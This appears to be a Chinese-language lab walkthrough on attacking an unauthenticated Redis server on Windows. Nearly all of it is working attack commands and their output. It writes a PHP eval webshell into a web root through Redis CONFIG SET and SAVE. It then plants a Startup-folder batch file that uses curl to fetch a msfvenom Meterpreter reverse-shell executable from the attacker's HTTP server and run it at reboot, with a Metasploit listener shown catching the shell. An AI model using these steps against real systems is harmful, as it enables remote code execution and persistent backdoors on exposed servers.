Windows上的Redis综合利用
一、环境配置
1、配置文件
和Linux上的配置文件一样
#任意地址连接
bind 0.0.0.0
#关闭安全模式
protected-mode no
2、启动Redis
E:\Redis-x64-5.0.10>redis-server.exe redis.windows.conf
3、连接Redis服务
完成了环境搭建的过程
┌──(root㉿kali-3)-[/home/sword]
└─# redis-cli -h 192.168.88.131 -p 6379
192.168.88.131:6379> info
二、写入webshell
1、开启http服务
2、设置文件目录
192.168.88.131:6379> config set dir "E:/xampp/htdocs/"
OK
3、设置文件名
192.168.88.131:6379> config set dbfilename shell.php
OK
4、写入一句话
192.168.88.131:6379> set shell "<?php eval($_GET[x]);?>"
OK
5、实力化保存
192.168.88.131:6379> save
OK
6、测试一句话
7、漏洞利用必要条件
- 需要知道WEB服务的绝对路径
- 需要有写入权限
- 需要服务器上有WEB服务
三、开启自启
1、设置文件目录
Windows开机自启目录
192.168.88.131:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
OK
2、设置文件名
192.168.88.131:6379> config set dbfilename shell.bat
OK
3、准备反弹shell木马
#生成木马
┌──(root㉿kali-3)-[/home/sword]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.88.141 LPORT=4444 -f exe -o windows.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: windows.exe
#开启http服务
┌──(root㉿kali-3)-[/home/sword]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
5、写入命令
#写入命令
192.168.88.131:6379> set shell "\n\r\n\rcurl -o windows.exe http://192.168.88.141/windows.exe\n\r\n\r"
OK
#执行程序
192.168.88.131:6379> set text "\n\r\n\rwindows.exe\n\r\n\r"
OK
#保存
192.168.88.131:6379> save
OK
6、KALI开启监听
#开启后台监听
msf6 > handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 4444
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 0.0.0.0:4444
#查看后台项目
msf6 > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://0.0.0.0:4444
7、重启Windows
立刻重启
C:\Users\Administrator> shutdown /r /t 0
msf上线截图
查看写入的文件内容